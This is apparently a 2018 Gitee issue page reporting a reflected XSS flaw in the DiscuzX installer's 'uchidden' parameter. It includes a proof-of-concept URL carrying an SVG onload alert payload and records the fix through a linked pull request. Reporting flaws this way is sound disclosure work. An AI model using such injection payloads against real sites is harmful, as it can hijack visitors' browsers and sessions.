安装时候有个参数存在XSS漏洞，反馈下， · Issue #INMA0 · Discuz/DiscuzX - Gitee.com

开源项目 > 建站系统 > BBS论坛/问答 &&

/ 详情

已完成

创建于

2018-10-16 11:02

POC ：

http://www.28.com/dz/install/index.php?step=1&uchidden=a%22%3E%3Csvg/onload=alert(1022)%3E&submit=%E6%88%91%E5%90%8C%E6%84%8F

输入图片说明

创建了任务

关联了Discuz/DiscuzX Pull Request !187

通过Discuz/DiscuzX Pull Request !187 将任务状态从 待办的 修改为已完成

展开全部操作日志

登录后才可以发表评论

状态

负责人

里程碑

Pull Requests

关联的 Pull Requests 被合并后可能会关闭此 issue

分支

开始日期 - 截止日期

-

置顶选项

优先级

参与者（1）

PHP

1

https://gitee.com/Discuz/DiscuzX.git

git@gitee.com:Discuz/DiscuzX.git

Discuz

DiscuzX

DiscuzX